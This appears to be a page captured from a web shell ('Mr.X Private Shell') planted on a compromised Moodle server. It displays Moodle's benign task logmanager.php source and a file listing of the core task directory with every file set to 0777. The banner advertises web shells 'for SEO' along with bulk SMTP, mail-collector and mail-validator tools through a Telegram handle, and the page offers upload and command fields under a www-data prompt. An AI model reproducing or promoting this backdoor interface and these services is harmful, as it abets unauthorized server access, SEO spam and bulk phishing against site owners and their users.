__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.216.10: ~ $
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle.  If not, see <http://www.gnu.org/licenses/>.

/**
 * Task log manager.
 *
 * @package    core
 * @category   task
 * @copyright  2018 Andrew Nicols <andrew@nicols.co.uk>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
namespace core\task;

defined('MOODLE_INTERNAL') || die();

/**
 * Task log manager.
 *
 * @copyright  2018 Andrew Nicols <andrew@nicols.co.uk>
 * @license    http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
 */
class logmanager {

    /** @var int Do not log anything */
    const MODE_NONE = 0;

    /** @var int Log all tasks */
    const MODE_ALL = 1;

    /** @var int Only log fails */
    const MODE_FAILONLY = 2;

    /** @var int The default chunksize to use in ob_start */
    const CHUNKSIZE = 1;

    /**
     * @var \core\task\task_base The task being logged.
     */
    protected static $task = null;

    /**
     * @var \stdClass Metadata about the current log
     */
    protected static $taskloginfo = null;

    /**
     * @var \resource The current filehandle used for logging
     */
    protected static $fh = null;

    /**
     * @var string The path to the log file
     */
    protected static $logpath = null;

    /**
     * @var bool Whether the task logger has been registered with the shutdown handler
     */
    protected static $tasklogregistered = false;

    /**
     * @var int The level of output buffering in place before starting.
     */
    protected static $oblevel = null;

    /**
     * @var bool Output logged content to screen.
     */
    protected static $outputloggedcontent = true;

    /**
     * Create a new task logger for the specified task, and prepare for logging.
     *
     * @param   \core\task\task_base    $task The task being run
     */
    public static function start_logging(task_base $task) {
        global $CFG, $DB;

        if (!self::should_log()) {
            return;
        }

        // We register a shutdown handler to ensure that logs causing any failures are correctly disposed of.
        // Note: This must happen before the per-request directory is requested because the shutdown handler deletes the logfile.
        if (!self::$tasklogregistered) {
            \core_shutdown_manager::register_function(function() {
                // These will only actually do anything if capturing is current active when the thread ended, which
                // constitutes a failure.
                \core\task\logmanager::finalise_log(true);
            });

            // Create a brand new per-request directory basedir.
            get_request_storage_directory(true, true);

            self::$tasklogregistered = true;
        }

        if (self::is_current_output_buffer()) {
            // We cannot capture when we are already capturing.
            throw new \coding_exception('Logging is already in progress for task "' . get_class(self::$task) . '". ' .
                'Nested logging is not supported.');
        }

        // Store the initial data about the task and current state.
        self::$task = $task;
        self::$taskloginfo = (object) [
            'dbread'    => $DB->perf_get_reads(),
            'dbwrite'   => $DB->perf_get_writes(),
            'timestart' => microtime(true),
        ];

        // For simplicity's sake we always store logs on disk and flush at the end.
        self::$logpath = make_request_directory() . DIRECTORY_SEPARATOR . "task.log";
        self::$fh = fopen(self::$logpath, 'w+');

        // Note the level of the current output buffer.
        // Note: You cannot use ob_get_level() as it will return `1` when the default output buffer is enabled.
        if ($obstatus = ob_get_status()) {
            self::$oblevel = $obstatus['level'];
        } else {
            self::$oblevel = null;
        }

        self::$outputloggedcontent = !empty($CFG->task_logtostdout);

        // Start capturing output.
        ob_start([\core\task\logmanager::class, 'add_line'], self::CHUNKSIZE);
    }

    /**
     * Whether logging is possible and should be happening.
     *
     * @return  bool
     */
    protected static function should_log(): bool {
        global $CFG;

        // Respect the config setting.
        if (isset($CFG->task_logmode) && empty($CFG->task_logmode)) {
            return false;
        }

        $loggerclass = self::get_logger_classname();
        if (empty($loggerclass)) {
            return false;
        }

        return $loggerclass::is_configured();
    }

    /**
     * Return the name of the logging class to use.
     *
     * @return  string
     */
    public static function get_logger_classname(): string {
        global $CFG;

        if (!empty($CFG->task_log_class)) {
            // Configuration is present to use an alternative task logging class.
            return $CFG->task_log_class;
        }

        // Fall back on the default database logger.
        return database_logger::class;
    }

    /**
     * Whether this task logger has a report available.
     *
     * @return  bool
     */
    public static function has_log_report(): bool {
        $loggerclass = self::get_logger_classname();

        return $loggerclass::has_log_report();
    }

    /**
     * Whether to use the standard settings form.
     */
    public static function uses_standard_settings(): bool {
        $classname = self::get_logger_classname();
        if (!class_exists($classname)) {
            return false;
        }

        if (is_a($classname, database_logger::class, true)) {
            return true;
        }

        return false;
    }

    /**
     * Get any URL available for viewing relevant task log reports.
     *
     * @param   string      $classname The task class to fetch for
     * @return  \moodle_url
     */
    public static function get_url_for_task_class(string $classname): \moodle_url {
        $loggerclass = self::get_logger_classname();

        return $loggerclass::get_url_for_task_class($classname);
    }

    /**
     * Whether we are the current log collector.
     *
     * @return  bool
     */
    protected static function is_current_output_buffer(): bool {
        if (empty(self::$taskloginfo)) {
            return false;
        }

        if ($ob = ob_get_status()) {
            return 'core\\task\\logmanager::add_line' == $ob['name'];
        }

        return false;
    }

    /**
     * Whether we are capturing at all.
     *
     * @return  bool
     */
    protected static function is_capturing(): bool {
        $buffers = ob_get_status(true);
        foreach ($buffers as $ob) {
            if ('core\\task\\logmanager::add_line' == $ob['name']) {
                return true;
            }
        }

        return false;
    }

    /**
     * Finish writing for the current task.
     *
     * @param   bool    $failed
     */
    public static function finalise_log(bool $failed = false) {
        global $CFG, $DB, $PERF;

        if (!self::should_log()) {
            return;
        }

        if (!self::is_capturing()) {
            // Not capturing anything.
            return;
        }

        // Ensure that all logs are closed.
        $buffers = ob_get_status(true);
        foreach (array_reverse($buffers) as $ob) {
            if (null !== self::$oblevel) {
                if ($ob['level'] <= self::$oblevel) {
                    // Only close as far as the initial output buffer level.
                    break;
                }
            }

            // End and flush this buffer.
            ob_end_flush();

            if ('core\\task\\logmanager::add_line' == $ob['name']) {
                break;
            }
        }
        self::$oblevel = null;

        // Flush any remaining buffer.
        self::flush();

        // Close and unset the FH.
        fclose(self::$fh);
        self::$fh = null;

        if ($failed || empty($CFG->task_logmode) || self::MODE_ALL == $CFG->task_logmode) {
            // Finalise the log.
            $loggerclass = self::get_logger_classname();
            $loggerclass::store_log_for_task(
                self::$task,
                self::$logpath,
                $failed,
                $DB->perf_get_reads() - self::$taskloginfo->dbread,
                $DB->perf_get_writes() - self::$taskloginfo->dbwrite,
                self::$taskloginfo->timestart,
                microtime(true)
            );
        }

        // Tidy up.
        self::$logpath = null;
        self::$taskloginfo = null;
    }

    /**
     * Flush the current output buffer.
     *
     * This function will ensure that we are the current output buffer handler.
     */
    public static function flush() {
        // We only call ob_flush if the current output buffer belongs to us.
        if (self::is_current_output_buffer()) {
            ob_flush();
        }
    }

    /**
     * Add a log record to the task log.
     *
     * @param   string  $log
     * @return  string
     */
    public static function add_line(string $log): string {
        if (empty(self::$taskloginfo)) {
            return $log;
        }

        if (empty(self::$fh)) {
            return $log;
        }

        if (self::is_current_output_buffer()) {
            fwrite(self::$fh, $log);
        }

        if (self::$outputloggedcontent) {
            return $log;
        } else {
            return '';
        }
    }
}

Filemanager

Name Type Size Permission Actions
adhoc_task.php File 5.81 KB 0777
analytics_cleanup_task.php File 1.73 KB 0777
antivirus_cleanup_task.php File 1.91 KB 0777
asynchronous_backup_task.php File 3.45 KB 0777
asynchronous_copy_task.php File 9.2 KB 0777
asynchronous_restore_task.php File 4.26 KB 0777
automated_backup_report_task.php File 3.02 KB 0777
automated_backup_task.php File 1.65 KB 0777
backup_cleanup_task.php File 3.01 KB 0777
badges_adhoc_task.php File 2.29 KB 0777
badges_cron_task.php File 2.78 KB 0777
badges_message_task.php File 2.17 KB 0777
blog_cron_task.php File 2.16 KB 0777
build_installed_themes_task.php File 1.73 KB 0777
cache_cleanup_task.php File 1.38 KB 0777
cache_cron_task.php File 1.33 KB 0777
calendar_cron_task.php File 2.67 KB 0777
calendar_fix_orphaned_events.php File 2.63 KB 0777
check_for_updates_task.php File 1.6 KB 0777
clean_up_deleted_search_area_task.php File 1.71 KB 0777
complete_plans_task.php File 1.89 KB 0777
completion_daily_task.php File 8.03 KB 0777
completion_regular_task.php File 2.21 KB 0777
context_cleanup_task.php File 1.64 KB 0777
course_backup_task.php File 4.05 KB 0777
create_contexts_task.php File 1.54 KB 0777
database_logger.php File 5.55 KB 0777
delete_incomplete_users_task.php File 2.58 KB 0777
delete_unconfirmed_users_task.php File 2.54 KB 0777
failed_task_callbacks.php File 2.76 KB 0777
file_temp_cleanup_task.php File 4.36 KB 0777
file_trash_cleanup_task.php File 1.44 KB 0777
fix_file_timestamps_task.php File 1.26 KB 0777
grade_cron_task.php File 3.15 KB 0777
grade_history_cleanup_task.php File 2.09 KB 0777
h5p_clean_orphaned_records_task.php File 2.44 KB 0777
h5p_get_content_types_task.php File 2.16 KB 0777
hide_ended_courses_task.php File 1.61 KB 0777
logging_trait.php File 3.1 KB 0777
logmanager.php File 9.79 KB 0777
manager.php File 62.36 KB 0777
messaging_cleanup_task.php File 2.72 KB 0777
password_reset_cleanup_task.php File 1.95 KB 0777
plagiarism_cron_task.php File 2.26 KB 0777
portfolio_cron_task.php File 2.91 KB 0777
question_preview_cleanup_task.php File 2.83 KB 0777
refresh_mod_calendar_events_task.php File 2.74 KB 0777
registration_cron_task.php File 1.37 KB 0777
scheduled_task.php File 22.88 KB 0777
search_index_task.php File 2.27 KB 0777
search_optimize_task.php File 1.76 KB 0777
send_failed_login_notifications_task.php File 8.11 KB 0777
send_login_notifications.php File 4.21 KB 0777
send_new_user_passwords_task.php File 3.33 KB 0777
session_cleanup_task.php File 1.76 KB 0777
show_started_courses_task.php File 5.13 KB 0777
stats_cron_task.php File 2 KB 0777
stored_progress_bar_cleanup_task.php File 1.68 KB 0777
stored_progress_task_trait.php File 2.04 KB 0777
sync_plans_from_template_cohorts_task.php File 2.24 KB 0777
tag_cron_task.php File 11.28 KB 0777
task_base.php File 8.45 KB 0777
task_lock_cleanup_task.php File 1.53 KB 0777
task_log_cleanup_task.php File 1.72 KB 0777
task_logger.php File 2.35 KB 0777
task_trait.php File 1.75 KB 0777
update_geoip2file_task.php File 7.64 KB 0777
Filemanager